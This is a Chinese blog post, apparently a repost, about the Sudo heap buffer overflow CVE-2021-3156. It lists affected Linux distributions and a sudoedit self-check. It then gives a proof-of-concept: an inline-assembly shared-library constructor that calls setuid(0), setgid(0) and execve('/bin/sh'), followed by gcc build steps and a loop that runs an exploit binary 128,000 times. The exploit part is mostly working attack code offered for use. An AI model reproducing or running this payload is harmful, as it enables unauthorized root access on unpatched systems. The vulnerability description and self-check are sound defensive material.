CVE-2021-3156:Sudo 堆缓冲区溢出漏洞 POC

本文介绍了CVE-2021-3156缓冲区溢出漏洞,该漏洞允许本地用户无需认证即可获取root权限。受影响的Linux发行版包括Ubuntu、LinuxMint、Fedora等。提供了自查方法和POC代码,以及受影响的系统版本列表。建议用户及时检查并更新系统。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞详情

CVE-2021-3156: 缓冲区溢出漏洞

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

用户可以使用如下方法进行自查:以非root用户登录系统,并使用命令sudoedit -s /

  • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
  • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

漏洞测试成功的Linux发行版:

Ubuntu 16.04.5 kernel 4.15.0-29-generic

Ubuntu 18.04.1 kernel 4.15.0-20-generic

Ubuntu 19.04 kernel 5.0.0-15-generic

Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic

Linux Mint 19 kernel 4.15.0-20-generic

Xubuntu 16.04.4 kernel 4.13.0-36-generic

ElementaryOS 0.4.1 4.8.0-52-generic

Backbox 6 kernel 4.18.0-21-generic

Parrot OS 4.5.1 kernel 4.19.0-

parrot1-13t-amd64 Kali kernel 4.19.0-

kali5-amd64

Redcore 1806 (LXQT) kernel 4.16.16-

redcoreMX 18.3 kernel 4.19.37-2~mx17+1

RHEL 8.0 kernel 4.18.0-80.el8.x86_64

Debian 9.4.0 kernel 4.9.0-6-amd64

Debian 10.0.0 kernel 4.19.0-5-amd64

Devuan 2.0.0 kernel 4.9.0-6-amd64

SparkyLinux 5.8 kernel 4.19.0-5-amd64

Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64

Manjaro 18.0.3 kernel 4.19.23-1-

MANJAROMageia 6 kernel 4.9.35-desktop-1.mga6

Antergos 18.7 kernel 4.17.6-1-ARCH

POC

static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}

上面的代码保存后为la.c执行

cd /tmp
mkdir libnss_X
gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

参考 :

https://github.com/reverse-ex/CVE-2021-3156

转载自https://mp.weixin.qq.com/s/dCcEtJoP7T9ljw6jnOTzBA

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值